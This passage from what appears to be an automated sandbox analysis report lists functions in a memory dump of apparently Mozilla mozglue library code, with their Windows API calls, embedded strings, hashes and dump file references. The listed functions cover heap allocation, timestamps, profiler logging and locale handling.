API String ID: 204725295-2564639436
Opcode ID: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction ID: 9e70de391897d7a5d0a4a227d810664c63ff356b20a0fa48f6c026394159ac23
Opcode Fuzzy Hash: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction Fuzzy Hash: 9031D871E0434897DB01DB68CC449FEB778EF95318F469629EC4997612FB31A9C8C394

Function 6C4E3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4157

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 0ec1e20bfe1ad3e5a38f23f896255c5681ad1bb4c8bee250976c80150a410b7d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 09A19FB1A00205CFDB41CF68C880F59B7B5BF8C349F2651A9D909AF752D771E886CBA0

Function 6C529D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C528273), ref: 6C529D65
free.MOZGLUE(6C528273,?), ref: 6C529D7C
free.MOZGLUE(?,?), ref: 6C529D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C529E0F
free.MOZGLUE(6C52946B,?,?), ref: 6C529E24
free.MOZGLUE(?,?,?), ref: 6C529E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C529EC8
free.MOZGLUE(6C52946B,?,?,?), ref: 6C529EDF
free.MOZGLUE(?,?,?,?), ref: 6C529EF5

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction ID: 4840b7eec325057a650773039e5599e43f1bf5562b26bcf31a47683eeefee944
Opcode Fuzzy Hash: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction Fuzzy Hash: A07180B0909B418BD712CF18C88095BF7F5FF99325B44961DE89A5BB41EB34E885CBC1

Function 6C52DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C52DDCF

Part of subcall function 6C50FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50FA4B

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE0D
free.MOZGLUE(00000000), ref: 6C52DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF32

Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DB86
Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF65
free.MOZGLUE(?), ref: 6C52DF80

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction ID: 4c49798dfbd4e7fc538480e9b9cd31625e4cbc36a712a0b41057e8afac0b43ff
Opcode Fuzzy Hash: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction Fuzzy Hash: 1A51C5726016009BD721DB28CC806AEB3F6BFD5318F96051CD85A53B90D739F91ACBD6

Function 6C535D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DC9
std::_Facet_Register.LIBCPMT ref: 6C535DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E45

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction ID: c2e9d66c7664e757c26c9a7ae4a40edfb6a1e0f7dd50b8b1ea0aa2aabe4a4484
Opcode Fuzzy Hash: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction Fuzzy Hash: B641AE307002148FCB00EFA9CC88AAE77B5EF89314F855469E50A9B791EB34ED05CB65

Function 6C50CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4D31A7), ref: 6C50CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C50CFA4, 6C50CFB8
<jemalloc>, xrefs: 6C50CF9F, 6C50CFB3

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction ID: bdf98bc23b7036e1ce9493a52bbdfc81020d7f9e8ef2ee296cd1bea1899adbb8
Opcode Fuzzy Hash: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction Fuzzy Hash: A231B4707402055BEF11BEA58C45BAE7BB5AF82718F714519F611EBA80DB70F400CBB6

Function 6C4DECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C4DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C4DEDCC
CreateFileW.KERNEL32 ref: 6C4DEE08
free.MOZGLUE(00000000), ref: 6C4DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C4DEE32

Part of subcall function 6C4DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C4DEBB5
Part of subcall function 6C4DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C50D7F3), ref: 6C4DEBC3
Part of subcall function 6C4DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C50D7F3), ref: 6C4DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C4DEDC1

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction ID: 43eec158095b96cf7f8926302b25dc59d230676e3bacc979cb5fb84344dd10ce
Opcode Fuzzy Hash: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction Fuzzy Hash: 5F51BE71D052058BDB01EF68C890EEEF7B1AF59318F46852DE8556B740EB30B949C7E2

Function 6C54A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A565

Part of subcall function 6C54A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C54A4BE
Part of subcall function 6C54A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C54A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C54A6B6

Strings

z, xrefs: 6C54A6AE
0, xrefs: 6C54A5FB

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction ID: a22cfca7e0ec4809c0bcded96d63afa0a00d75b452c2d2d3adea9534b530caf2
Opcode Fuzzy Hash: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction Fuzzy Hash: C94128759087459FC781DF28C480A9FBBE5BFC9354F508A2EF49987650EB30E549CB82

Function 6C519420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
__Init_thread_footer.LIBCMT ref: 6C51949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C51947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C519459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C51946B

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction ID: 1f048b8e297d4584bead40d8e529396be2c55c97babd6f4513f76065092be8d0
Opcode Fuzzy Hash: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction Fuzzy Hash: F001D470A04101CBE700DBADDC19A5E33B5AB4A32DF460A37ED0B86F51E761E864899F

Function 6C520F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C520F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C520F88
GetCurrentThreadId.KERNEL32 ref: 6C520FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C521067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5210A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C52114B

Part of subcall function 6C518AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C531563), ref: 6C518BD5

free.MOZGLUE(?), ref: 6C521174
free.MOZGLUE(?), ref: 6C521186

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction ID: 1ee12da314afcc678db07f88ae9bd056a9d4ad0b99b708fb6127eed362170356
Opcode Fuzzy Hash: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction Fuzzy Hash: C4619975A043409BDB10DF24CC80BABB7F6BFC9318F05891DE88957691EB75E849CB82

Function 6C4DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6AC

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C4DB61E), ref: 6C4DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB79A

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction ID: b8ba31d479dfa37159fbea0e31962d52bd514a2a4767d916ef85a0a841be9043
Opcode Fuzzy Hash: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction Fuzzy Hash: 8441B3B2D001159FCB04EF68DC90EAEB7B5BF84324F264669E825E7780E731AD0587E1

Function 6C4DEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C555104), ref: 6C4DEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DEFEC
free.MOZGLUE(?), ref: 6C4DF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C4DF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4DF065
moz_xmalloc.MOZGLUE ref: 6C4DF072

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction ID: 8c2c78ee163ce345aeb9a9382c8cdf6224992bad22d44fd63978911aee6e8b1c
Opcode Fuzzy Hash: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction Fuzzy Hash: D041F6B1A002059FDB18DF68DC90DAE7769BF88318B25422CE815DB794EB31E905C7E1

Function 6C54B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C54B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C54B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C54B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C54B5F4
__Init_thread_footer.LIBCMT ref: 6C54B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C54B61F
std::_Facet_Register.LIBCPMT ref: 6C54B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54B655

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction ID: 6bb4df23af8f54ea8cf92ffafdd07cc5e273403050cbfb2a950d692f924c1407
Opcode Fuzzy Hash: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction Fuzzy Hash: 60318F71B00204CBCF00EF69CC989AEB7B5FF8A324B964519D90697781DB31A906CB95

Function 6C516590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5167C8

Part of subcall function 6C524290: memcpy.VCRUNTIME140(?,?,6C532003,6C530AD9,?,6C530AD9,00000000,?,6C530AD9,?,00000004,?,6C531A62,?,6C532003,?), ref: 6C5242C4

Strings

data, xrefs: 6C516593
vUl, xrefs: 6C51696C

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
